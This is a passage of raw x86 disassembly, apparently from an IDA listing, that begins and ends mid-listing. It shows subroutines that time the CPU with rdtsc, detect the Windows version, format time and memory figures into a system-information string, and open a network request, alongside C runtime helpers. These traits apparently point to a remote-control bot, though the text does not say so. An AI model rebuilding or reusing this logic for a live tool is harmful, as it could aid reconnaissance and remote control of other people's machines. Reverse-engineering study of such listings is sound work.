loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2680000h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D7D8 mov [ebp+var_CC], 94h nop call near ptr 26E0000h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_43193C loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_431938 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_431934 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_431930 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_43192C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431928 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431920 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_437EF4 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB504 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CB664 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB5DC cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2670B96h lea eax, [ebp+var_114] push 46h push eax push offset dword_43A7CC push ebx mov esi, 409h push ebx push esi nop call near ptr 2750000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 2740000h nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2850000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A6F0 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB70C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB4E8 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A84C push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A844 jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A840 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A83C lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A7F8 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A92C call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CB520 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CB5D4 call dword_4CB5F8 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB5EC cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CB598 test eax, eax jz short loc_41AF48 push offset dword_43A910 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A8D4 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A8B8 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A88C jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A85C loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CB658 push [ebp+var_4] call dword_4CB658 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx nop call near ptr 26E0A61h pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DCFC8 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DCFC4 nop call near ptr 27B0000h loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DCFC8 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DCFC0 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DCFC4 nop call near ptr 27C0000h mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DCFC4 call near ptr 2860000h nop mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB9AC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C9A4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DCFC4 call near ptr 27C0000h nop mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DCFC4 call near ptr 2860000h nop mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB9AC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DCFC4 nop call near ptr 2860000h test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB9AC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U 